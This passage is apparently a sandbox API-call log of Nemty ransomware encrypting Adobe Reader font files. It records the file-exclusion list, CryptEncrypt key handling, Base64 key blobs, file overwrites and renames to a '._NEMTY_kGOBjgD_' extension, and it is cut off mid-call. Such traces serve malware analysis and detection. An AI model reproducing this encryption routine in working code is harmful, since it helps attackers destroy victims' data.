(lpString1="AdobePiStd.otf", lpString2="boot.ini") returned -1 [0214.132] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="boot.ini") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="ntuser.dat") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="desktop.ini") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="CONFIG.SYS") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="RECYCLER") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="bootmgr") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="programdata") returned -1 [0214.133] lstrcmpiW (lpString1="AdobePiStd.otf", lpString2="appdata") returned -1 [0214.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePiStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePiStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePiStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0214.133] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobePiStd.otf", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobePiStd.otf", lpUsedDefaultChar=0x0) returned 14 [0214.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0214.133] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.133] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0214.133] Sleep (dwMilliseconds=0x5) [0214.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33463df0, dwHighDateTime=0x1d561e8)) [0214.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33463df0, dwHighDateTime=0x1d561e8)) [0214.139] GetLastError () returned 0x0 [0214.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.139] GetLastError () returned 0x0 [0214.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.139] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.140] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.140] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="m5DYhuVk4vdACfY8+qzXtt8UfyfnFSAMviRyLp4vxm3Yi0TgSH6fMdC06kbIpEyK\r\nUcnbDXB4yFiokHrx+S0XB8mBBXxKeCFLdctvi16onxou/VN3tMyGWNuTE6wb1VLi\r\n5vtJN+zqMdNz/cjUjONoCHGsYs1GsFtWILtOMjefz+NXhshA783me8iNGyuSotom\r\nYP8Olsogb0dx9eHd5eoh75sKzvzPJsT/foe84lT8PsqTFLs90pTjP4qnsj4Fh05M\r\nfP81AJrEhb9jb37nFCsc/ybQUAeSDUnyprYAuTDgtdPfbW52ULiO0oMXohALvm+D\r\nMfvdwAVzq8fznIOKGCyYcA==\r\n", pcchString=0x653e91c) returned 1 [0214.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.143] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=89660) returned 1 [0214.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15e30) returned 0x6352c48 [0214.143] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.143] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15e30, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x15e30, lpOverlapped=0x0) returned 1 [0214.151] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.151] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15e30, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x15e30, lpOverlapped=0x0) returned 1 [0214.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.151] SetFilePointer (in: hFile=0x254, lDistanceToMove=89660, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15e3c [0214.151] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.151] CloseHandle (hObject=0x254) returned 1 [0214.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0214.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.152] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0214.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0214.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0214.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.152] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobePiStd.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobepistd.otf._nemty_kgobjgd_")) returned 1 [0214.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0214.153] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83529920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10658, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeThai-Bold.otf", cAlternateFileName="ADOBET~1.OTF")) returned 1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2=".") returned 1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="..") returned 1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="...") returned 1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="windows") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="rsa") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="ntldr") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="MSDOS.SYS") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="IO.SYS") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="boot.ini") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="boot.ini") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="AUTOEXEC.BAT") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="ntuser.dat") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="desktop.ini") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="CONFIG.SYS") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="RECYCLER") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="BOOTSECT.BAK") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="bootmgr") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="programdata") returned -1 [0214.153] lstrcmpiW (lpString1="AdobeThai-Bold.otf", lpString2="appdata") returned -1 [0214.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeThai-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeThai-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.154] Sleep (dwMilliseconds=0x5) [0214.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33489f50, dwHighDateTime=0x1d561e8)) [0214.155] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33489f50, dwHighDateTime=0x1d561e8)) [0214.155] GetLastError () returned 0x0 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.155] GetLastError () returned 0x0 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.155] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.155] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="S1UEr1D0qaK38m9/JLc7p4FNjp4tDVantUK/YQYEFBb/ib6vGZZe+o51GaxYGILV\r\nc8UK2WerYKrBMoVdCOYyp/0m4BOAIxqIlnCnBXAA6O5UFpMIZ6tz+AfYursgXNWh\r\nYgzpVFbHQWr6/mwdSdfIenkNkbQdB6FKuczrGpDRH04Rz5zg1S2OavlgpGh+yZLE\r\nZrH78J3xrJuN/89IKtT4ZBCJqwr8Hg4FVCuQd6/USeAMEowqkZ0ltV0xcqNHZAtw\r\n2neRbWXg4W4XQkFk0qgkaFAhrZPFOGoNrc0AoOK22H2q+G0Lp2CzzeXkeh7hv+z6\r\neE8UyEkQiOmEp324tLODHQ==\r\n", pcchString=0x653e91c) returned 1 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.155] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.155] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.156] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=67160) returned 1 [0214.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10650) returned 0x6352c48 [0214.156] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.156] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x10650, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x10650, lpOverlapped=0x0) returned 1 [0214.161] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.161] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x10650, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x10650, lpOverlapped=0x0) returned 1 [0214.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.162] SetFilePointer (in: hFile=0x254, lDistanceToMove=67160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10658 [0214.162] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.162] CloseHandle (hObject=0x254) returned 1 [0214.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bold.otf._nemty_kgobjgd_")) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 